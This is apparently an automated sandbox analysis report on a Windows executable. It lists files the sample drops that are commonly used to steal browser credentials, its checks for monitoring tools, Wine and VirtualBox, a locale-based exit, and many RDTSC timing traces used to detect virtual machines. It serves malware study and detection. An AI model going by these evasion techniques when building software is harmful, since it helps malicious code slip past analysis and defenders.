Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E087B push esi; mov dword ptr [esp], 4DF9EDD2h	0_2_004E1167
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E087B push 696FB6A9h; mov dword ptr [esp], ebp	0_2_004E1297
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E087B push ebp; mov dword ptr [esp], edx	0_2_004E12C4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E087B push ecx; mov dword ptr [esp], 0DCDAC58h	0_2_004E1362
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E087B push edi; mov dword ptr [esp], ebp	0_2_004E13B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E087B push eax; mov dword ptr [esp], ecx	0_2_004E13C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E087B push 014F44ECh; mov dword ptr [esp], edx	0_2_004E13DE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E087B push edi; mov dword ptr [esp], ecx	0_2_004E1436

Source: file.exe

Static PE information: section name: fgtetwml entropy: 7.954088154505861

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00139270

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-58223

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CAA49 second address: 4CAA4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CAA4F second address: 4CAA73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F1F34B447ECh 0x0000000c jmp 00007F1F34B447EFh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6CDC second address: 4E6CEC instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1F34FC7056h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6CEC second address: 4E6CFB instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1F34B447E6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6E4D second address: 4E6E51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E745A second address: 4E7460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7460 second address: 4E7464 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E75A7 second address: 4E75B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F34B447EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8F20 second address: 4E8F29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8F29 second address: 36376F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 729D6B66h 0x0000000e jmp 00007F1F34B447F1h 0x00000013 push dword ptr [ebp+122D0E25h] 0x00000019 jmp 00007F1F34B447F7h 0x0000001e call dword ptr [ebp+122D35E7h] 0x00000024 pushad 0x00000025 mov dword ptr [ebp+122D1BE3h], eax 0x0000002b xor eax, eax 0x0000002d sub dword ptr [ebp+122D31A8h], ecx 0x00000033 mov edx, dword ptr [esp+28h] 0x00000037 jmp 00007F1F34B447EFh 0x0000003c mov dword ptr [ebp+122D2A6Dh], eax 0x00000042 clc 0x00000043 mov esi, 0000003Ch 0x00000048 ja 00007F1F34B447ECh 0x0000004e mov dword ptr [ebp+122D31A8h], esi 0x00000054 mov dword ptr [ebp+122D1BE3h], ebx 0x0000005a add esi, dword ptr [esp+24h] 0x0000005e stc 0x0000005f lodsw 0x00000061 jp 00007F1F34B447F7h 0x00000067 add eax, dword ptr [esp+24h] 0x0000006b mov dword ptr [ebp+122D1BE9h], edi 0x00000071 mov ebx, dword ptr [esp+24h] 0x00000075 mov dword ptr [ebp+122D1BE3h], ebx 0x0000007b push eax 0x0000007c pushad 0x0000007d push eax 0x0000007e push edx 0x0000007f push edx 0x00000080 pop edx 0x00000081 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8F86 second address: 4E8FAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 nop 0x00000008 jmp 00007F1F34FC7063h 0x0000000d push 00000000h 0x0000000f push F680D3ECh 0x00000014 push eax 0x00000015 push edx 0x00000016 push edi 0x00000017 push eax 0x00000018 pop eax 0x00000019 pop edi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8FAE second address: 4E8FB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8FB4 second address: 4E9052 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1F34FC7056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 097F2C94h 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007F1F34FC7058h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 0000001Bh 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d jmp 00007F1F34FC7067h 0x00000032 xor ch, FFFFFFFCh 0x00000035 push 00000003h 0x00000037 push 00000000h 0x00000039 push ebx 0x0000003a call 00007F1F34FC7058h 0x0000003f pop ebx 0x00000040 mov dword ptr [esp+04h], ebx 0x00000044 add dword ptr [esp+04h], 0000001Ah 0x0000004c inc ebx 0x0000004d push ebx 0x0000004e ret 0x0000004f pop ebx 0x00000050 ret 0x00000051 push 00000000h 0x00000053 movsx edx, si 0x00000056 xor esi, dword ptr [ebp+122D29ADh] 0x0000005c push 00000003h 0x0000005e push eax 0x0000005f mov dword ptr [ebp+122D333Ah], eax 0x00000065 pop edx 0x00000066 push B83B49A0h 0x0000006b pushad 0x0000006c jmp 00007F1F34FC705Bh 0x00000071 push eax 0x00000072 push edx 0x00000073 push ecx 0x00000074 pop ecx 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9189 second address: 4E9221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 add dword ptr [esp], 4E805803h 0x0000000c mov edx, eax 0x0000000e push 00000003h 0x00000010 mov edx, dword ptr [ebp+122D2AF1h] 0x00000016 push 00000000h 0x00000018 call 00007F1F34B447F8h 0x0000001d pop esi 0x0000001e push 00000003h 0x00000020 mov dword ptr [ebp+122D1DBEh], eax 0x00000026 push 9FF10D6Bh 0x0000002b jmp 00007F1F34B447F6h 0x00000030 add dword ptr [esp], 200EF295h 0x00000037 mov dword ptr [ebp+122D2BD3h], ecx 0x0000003d xor dword ptr [ebp+122D32F8h], eax 0x00000043 lea ebx, dword ptr [ebp+12458E70h] 0x00000049 push 00000000h 0x0000004b push eax 0x0000004c call 00007F1F34B447E8h 0x00000051 pop eax 0x00000052 mov dword ptr [esp+04h], eax 0x00000056 add dword ptr [esp+04h], 00000017h 0x0000005e inc eax 0x0000005f push eax 0x00000060 ret 0x00000061 pop eax 0x00000062 ret 0x00000063 stc 0x00000064 xchg eax, ebx 0x00000065 push eax 0x00000066 push edx 0x00000067 push eax 0x00000068 push edx 0x00000069 jnc 00007F1F34B447E6h 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9221 second address: 4E9231 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F34FC705Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9231 second address: 4E9237 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E93B5 second address: 4E9422 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1F34FC7056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jne 00007F1F34FC7069h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jmp 00007F1F34FC705Dh 0x0000001a mov eax, dword ptr [eax] 0x0000001c pushad 0x0000001d push edi 0x0000001e jmp 00007F1F34FC705Eh 0x00000023 pop edi 0x00000024 jnp 00007F1F34FC7058h 0x0000002a pushad 0x0000002b popad 0x0000002c popad 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 pushad 0x00000032 jmp 00007F1F34FC7063h 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9422 second address: 4E9426 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC261 second address: 4FC27F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1F34FC7066h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC27F second address: 4FC285 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE9F3 second address: 4DE9FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE9FB second address: 4DEA12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1F34B447F0h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50802B second address: 508046 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F34FC7067h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508046 second address: 508062 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1F34B447F2h 0x00000009 jnc 00007F1F34B447E6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50823F second address: 508267 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1F34FC705Dh 0x0000000b popad 0x0000000c pushad 0x0000000d push esi 0x0000000e jmp 00007F1F34FC705Ch 0x00000013 pop esi 0x00000014 push ebx 0x00000015 push edi 0x00000016 pop edi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508267 second address: 50826F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5083DA second address: 5083DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5083DF second address: 5083E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5083E5 second address: 5083F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1F34FC705Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5083F6 second address: 5083FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5083FA second address: 508415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007F1F34FC7081h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F1F34FC705Bh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508833 second address: 508837 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508837 second address: 50883D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50883D second address: 508865 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jnl 00007F1F34B447E6h 0x0000000d pop edx 0x0000000e push ecx 0x0000000f jns 00007F1F34B447EEh 0x00000015 pushad 0x00000016 jl 00007F1F34B447E6h 0x0000001c push eax 0x0000001d pop eax 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50899D second address: 5089BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F1F34FC7056h 0x0000000a jmp 00007F1F34FC705Dh 0x0000000f ja 00007F1F34FC7056h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5089BB second address: 5089DD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F1F34B447F4h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5089DD second address: 5089E3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508B5D second address: 508B78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F1F34B447F0h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508CB1 second address: 508CC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F1F34FC705Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508CC8 second address: 508CCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508E6C second address: 508E76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508E76 second address: 508E7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508E7A second address: 508E83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508E83 second address: 508E89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508FD5 second address: 508FDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E1E2A second address: 4E1E41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F34B447F1h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E1E41 second address: 4E1E45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511220 second address: 511226 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511226 second address: 511252 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F34FC705Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1F34FC7067h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511803 second address: 511807 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511807 second address: 51180B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51180B second address: 511815 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100A2 second address: 5100A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5118FF second address: 511933 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F34B447F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jmp 00007F1F34B447F0h 0x00000013 mov eax, dword ptr [eax] 0x00000015 push eax 0x00000016 push edx 0x00000017 push esi 0x00000018 pushad 0x00000019 popad 0x0000001a pop esi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511933 second address: 511956 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007F1F34FC7062h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 push esi 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511956 second address: 51195A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511A63 second address: 511A74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a jc 00007F1F34FC7056h 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160BA second address: 5160D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F1F34B447F5h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160D4 second address: 5160F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F34FC7064h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jl 00007F1F34FC705Eh 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160F7 second address: 5160FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160FF second address: 516105 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516105 second address: 516109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516109 second address: 51610D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51610D second address: 516122 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1F34B447EBh 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516269 second address: 51627A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop eax 0x00000007 push edi 0x00000008 pushad 0x00000009 popad 0x0000000a jg 00007F1F34FC7056h 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51627A second address: 51627F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5197A9 second address: 5197AE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51984E second address: 51987A instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1F34B447ECh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F1F34B447EDh 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 jno 00007F1F34B447E6h 0x0000001d pop ecx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51987A second address: 51988F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F34FC705Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push ecx 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
